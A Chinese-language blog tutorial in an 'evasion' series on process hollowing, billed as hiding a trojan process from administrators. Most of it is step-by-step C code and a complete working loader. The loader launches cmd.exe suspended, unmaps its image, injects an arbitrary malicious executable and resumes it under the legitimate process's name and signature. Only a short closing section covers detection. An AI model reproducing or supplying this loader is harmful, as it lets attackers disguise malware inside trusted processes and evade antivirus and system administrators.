所有内容均为测试可用,真实
当前位置:绿茶加糖-郭保升 > 软件安全 > 正文

免杀系列 - 无法让管理员找到你的木马进程

01-06 软件安全

免责声明

 
 

 

"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意,任何未经授权的使用或由此产生的直接或间接后果和损失,均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用,我们不鼓励也不支持任何非法活动。"

"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失,我们提醒您,这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益,请随时告知我们,我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"

 

 

 

前言

进程镂空(Process Hollowing),又称为“傀儡进程”,是一种恶意软件(malware)利用的代码注入技术。它主要用于将恶意代码注入到合法进程中,以规避安全检测、提高恶意代码执行的隐蔽性和稳定性

镂空注入  (傀儡进程) 特点

特点:隐藏进程

常用于比较铭感的用户下的控制,如:运维、网络管理员

实现原理探究

这个利用方法至少在2005以前就存在,国内常常把该方法称为”傀儡进程的创建”

实现思路:

  1. 通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起

  2. 通过NtUnmapViewOfSection清空新进程的内存数据

  3. 通过VirtualAllocEx申请新的内存

  4. 通过WriteProcessMemory向内存写入payload

  5. 通过SetThreadContext设置入口点

  6. 通过ResumeThread唤醒进程,执行payload

在具体实现上,还需要考虑以下问题:

  1. 傀儡进程的选择

如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等)

所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换

  1. 清空新进程的内存数据

进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像

函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下:

FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

注:

NtUnmapViewOfSection还能用来结束进程

  1. 申请新的内存

使用VirtualAllocEx函数时,可以将傀儡进程的ImageBaseAddress作为申请空间的首地址,这样可以避免考虑“重定位”的问题

  1. 写入payload

写入时,需要先比较payload和傀儡进程的ImageBaseAddress之间的偏移,如果存在偏移,需要进行重定位(使用.reloc区段)

  1. 恢复环境 替换前后需要保证寄存器正常,所以仅需要修改进程的入口点(即EAX寄存器)

通过GetThreadContext获得所有寄存器的信息(保存在结构体_CONTEXT中)

_CONTEXT的定义位于winnt.h,具体内容如下:

typedef struct _CONTEXT {
//
// The flags values within this flag control the contents of
// a CONTEXT record.
//
// If the context record is used as an input parameter, then
// for each portion of the context record controlled by a flag
// whose value is set, it is assumed that that portion of the
// context record contains valid context. If the context record
// is being used to modify a threads context, then only that
// portion of the threads context will be modified.
//
// If the context record is used as an IN OUT parameter to capture
// the context of a thread, then only those portions of the thread's
// context corresponding to set flags will be returned.
//
// The context record is never used as an OUT only parameter.
//
DWORD ContextFlags;
//
// This section is specified/returned if CONTEXT_DEBUG_REGISTERS is
// set in ContextFlags.  Note that CONTEXT_DEBUG_REGISTERS is NOT
// included in CONTEXT_FULL.
//
DWORD   Dr0;
DWORD   Dr1;
DWORD   Dr2;
DWORD   Dr3;
DWORD   Dr6;
DWORD   Dr7;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_FLOATING_POINT.
//
FLOATING_SAVE_AREA FloatSave;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_SEGMENTS.
//
DWORD   SegGs;
DWORD   SegFs;
DWORD   SegEs;
DWORD   SegDs;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_INTEGER.
//
DWORD   Edi;
DWORD   Esi;
DWORD   Ebx;
DWORD   Edx;
DWORD   Ecx;
DWORD   Eax;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//
DWORD   Ebp;
DWORD   Eip;
DWORD   SegCs;              // MUST BE SANITIZED
DWORD   EFlags;             // MUST BE SANITIZED
DWORD   Esp;
DWORD   SegSs;
//
// This section is specified/returned if the ContextFlags word
// contains the flag CONTEXT_EXTENDED_REGISTERS.
// The format and contexts are processor specific
//
BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
> } CONTEXT;

将寄存器EAX的值设置为起始地址,代码如下:

pContext->Eax = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;

接着利用SetThreadContext写入,修改入口点

通过ResumeThread唤醒进程,即可执行payload

实现思路

1.创建挂起进程

创建一个新的目标进程(这里是cmd.exe),并将其创建为挂起状态,这样它的主线程不会立即执行

BOOL bRet = CreateProcessA(
    NULL,
    (LPSTR)"cmd",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED,
    NULL,
    NULL,
    &si,
    &pi);

2.读取恶意程序的内容

2.1 读取恶意程序的内容至本进程内存中

hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);

2.2 获取恶意程序的文件头信息(Dos头和Nt头)

pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

3. 获取挂起进程的线程上下文和映像基址

在挂起创建的进程中,EBX(在x86架构下)和RDX(在x64架构下)寄存器通常用于存储指向PEB(进程环境块)的指针。PEB是一个包含进程相关信息的数据结构,例如映像基地址、操作系统版本等。

获取挂起进程的上下文

GetThreadContext(pi.hThread, &ctx); 

获取可执行映像的基址

#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif

4. 卸载挂起进程的内存

如果挂起进程的映像基址和恶意程序的映像基址相同,则调用NtUnmapViewOfSection卸载原始进程映像

//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
    NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}

5. 将恶意程序内容写入目标进程

先将恶意程序的头部信息写入目标进程,随后逐节将恶意程序的各个节写入

//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}

6. 更新目标进程的线程上下文

将程序计数器(EAX/RAX 或 ECX/RCX 寄存器)设置为替换映像的入口点地址,并更新目标进程PEB中的映像基地址

#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif

设置目标进程的线程上下文,使其使用新的上下文信息

SetThreadContext(pi.hThread, &ctx); // 设置线程上下文

7. 恢复目标进程的主线程

ResumeThread(pi.hThread); // 恢复挂起线程

8. 完整代码

#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main(int argc, wchar_t* argv[])
{
    // 定义变量和结构体
    IN PIMAGE_DOS_HEADER pDosHeaders;
    IN PIMAGE_NT_HEADERS pNtHeaders;
    IN PIMAGE_SECTION_HEADER pSectionHeaders;
    IN PVOID FileImage;
    IN HANDLE hFile;
    OUT DWORD FileReadSize;
    IN DWORD dwFileSize;
    IN PVOID RemoteImageBase;
    IN PVOID RemoteProcessMemory;
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    si.cb = sizeof(si);

    //用于替换的恶意程序
    char path[] = "C:\\Abc.exe";

    // 创建挂起的cmd进程
    BOOL bRet = CreateProcessA(
        NULL,
        (LPSTR)"cmd",
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        NULL,
        &si,
        &pi);

    //读取恶意程序的内容至本进程内存中
    hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
    FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
    CloseHandle(hFile);

    //获取恶意程序的文件头信息(Dos头和Nt头)
    pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;  //获取Dos头
    pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头

    //获取挂起进程的上下文
    GetThreadContext(pi.hThread, &ctx);


    //获取挂起进程的映像基址
#ifdef _WIN64
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
    // 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
    // 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
    ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif


    //判断文件预期加载地址是否被占用
    pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
    if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
    {
        NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
    }

    //为可执行映像分配内存,并写入文件头
    RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);

    //逐段写入
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
    {
        pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
        WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
    }

    //将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
    ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
    //将eax寄存器设置为注入软件的入口点
#ifdef _X86_
    ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
    WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
    /*
    lea eax
    call eax
    */
#endif
    SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
    ResumeThread(pi.hThread); // 恢复挂起线程
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

9. 实现效果


10. 防御检测

这种傀儡进程的利用,由于最开始创建了正常的进程,因此欺骗性很高

例如创建傀儡进程cmd.exe,进程的图标和描述都是正常的cmd.exe,数字签名也正常

图片

防御方法:

  1. 使用杀毒软件,拦截关键函数SetThreadContext
图片
  1. 参考原文给出的建议,使用RogueKiller,对比PE文件在本地和内存之间是否有区别

检测如下图

图片

 

 

版权保护: 本文由 绿茶加糖-郭保升 原创,转载请保留链接: https://www.guobaosheng.com/computer/326.html